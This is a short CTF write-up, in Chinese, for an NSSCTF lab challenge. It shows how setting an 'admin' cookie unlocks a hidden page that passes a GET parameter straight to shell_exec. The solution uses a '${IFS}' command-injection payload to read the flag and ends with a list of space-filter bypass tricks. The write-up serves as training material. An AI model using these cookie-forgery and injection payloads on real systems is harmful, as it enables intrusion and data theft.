题目链接

页面内容

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

设置cookie

1
2
3
4
5
6
7
import requests

cookie = {"admin": "1"}
response = requests.get("http://node1.anna.nssctf.cn:28246/", cookies=cookie)
print(response.text)

# 得到 rasalghul.php

访问rasalghul.php 有

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}

代码执行 空格绕过得到flag

1
?url=cat${IFS}/flllllaaaaaaggggggg;

补充 [空格绕过]:

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$9
{cat,flag.php}
<
>
%20
%09
⬆︎TOP